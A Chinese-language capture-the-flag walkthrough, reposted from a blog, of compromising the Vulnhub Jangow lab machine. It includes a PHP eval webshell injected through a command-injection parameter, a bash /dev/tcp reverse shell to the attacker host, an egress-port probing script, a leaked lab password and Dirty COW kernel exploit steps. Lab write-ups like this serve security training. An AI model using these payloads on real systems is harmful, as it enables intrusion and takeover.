基本信息
靶场:Vulnhub Jangow
攻击机Kali:192.168.56.3
靶机:192.168.56.5
虚拟机模式:仅主机,攻击机靶机同一网段
下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
作者:Jangow
一、信息搜集:ARP扫描,发现网段存活主机
二层ARP扫描,发现同网段虚拟机靶机
arp-scan --local
确定靶机IP:192.168.56.5

Nmap端口&服务扫描
nmap -sV -T4 192.168.56.5
扫描结果:

发现开放了一个ftp服务,一个web服务,没有开放ssh服务,后面需要反弹shell之类的。
浏览器访问 [http://192.168.56.5](http://192.168.56.5),存在目录列出。

二、Web探测:目录爆破
- 进入site目录,发现bootstrap框架的网页
在这里插入图片描述

2. 右键查看网页源码,发现一个php页面,busque.php?buscar=,带参数看起来可以利用。

3. 继续使用gobuster暴破一下目录再
gobuster dir -u http://192.168.56.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php,txt,html

最终发现两个有用的线索,一个是 wordpress(之后使用wpscan探测,发现是唬人的),但是通过探测wprdpress目录发现另一个config.php
4. 访问 config.php,泄露了mysql报错信息,说明该php可能存放了用户名和密码的内容,后续会用到。

三、发现命令执行漏洞
-
回到之前通过web源码发现的busque.php文件,通过探测发现其buscar参数存在命令执行漏洞,http://192.168.56.5/site/busque.php?buscar=id

-
cat一下busque.php源码,审计一下什么情况。 什么限制都没有,very good!!!

-
接下来写入一句话木马,并蚁剑连接一下
http://192.168.56.5/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27pass%27]);%20?%3E%27%20%3E%20shell.php

-
到处看看有没有什么文件,回想之前发现的config.php,看看内容是什么。用户名密码得到了,由于mysql是本地服务,而且既然都拿到webshell了,也没必要再使用mysql做什么了,猜想这里的用户名和密码是ssh的用户名和密码。

除此之外,普通用户的flag也拿到了。

-
现在有个问题就是蚁剑这款工具不能使用交互式shell,因此还是要通过反弹shell去继续提权操作。但是通过踩了许多坑发现其防火墙限制了出网的端口,至于是哪个我是通过一个python脚本去尝试反弹shell,测出来的,内容如下:
import socket
target_ip = "192.168.56.3" # kali的地址
# 扫描0~999端口
ports = range(0, 1000)
out_file = "/tmp/result.txt" # 结果存储在 /tmp/result.txt文件中
with open(out_file, "w") as f:
for port in ports:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
ret = s.connect_ex((target_ip, port))
if ret == 111:
f.write(str(port))
f.flush() # 可以在捕获到实际开放端口的时候立即写盘,减少等待时间。
s.close()
f.write('\n end')
直接使用蚁剑创建该文件即可,方便得很。
6. 然后通过busque.php执行python代码, http://192.168.56.5/site/busque.php?buscar=nohup%20python3%20test.py%20%3E%20scan.log%202%3E%261%20%26,需要等待一段时间。
在执行过程中我们可以打开kali的wireshark看有没有来自 192.168.56.5靶机的流量,如果存在流量说明对应的端口则是未被防火墙进行,可以使用该端口反弹shell,然后再观察 /tmp/result.txt的内容,直接使用蚁剑的刷新功能即可。


7. 最终结果是443端口没有被限制,下面使用443进行反弹shell, kali执行nc -lvnp 443,然后busque.php执行 http://192.168.56.5/site/busque.php?buscar=nohup%20bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.56.3/443%200%3E%261%27%20%3E/dev/null%202%3E%261%20%26

四、提权
- 查看 /etc/passwd

注意看这里的 desafio02,这个是我们之前config.php源码中的用户名,密码我们也知道了,可以尝试一下切换到该用户。
- 先将shell提升为可交互的,依次执行以下命令
# 1. 用python生成pty
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z 把shell丢后台
# 3. 在kali本机执行
stty raw -echo;fg
# 4. 回车,然后配置环境变量
export TERM=xterm

- 切换用户到
jangow01, 密码是config.php中的密码abygurl69

4. 使用sudo -l 测试,发现报错,查看一下内核看看有没有漏洞,执行 uname -a

5. 通过AI得知该版本的内核存在脏牛的漏洞,接下来使用https://www.exploit-db.com/exploits/40616这个进行提权(使用其他几个测试发现靶机更容易崩溃,这个要好一点),首先通过蚁剑将其上传到tmp目录,然后cp放在 普通用户的家目录。
6. 然后使用 gcc 编译gcc -pthread 40616.c -o dirty -lcrypt, 编译完成后执行 ./dirty,即可直接获取root shell.
可以看到报了几条警告,直接忽略即可。

转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/HangingSword/article/details/166791398




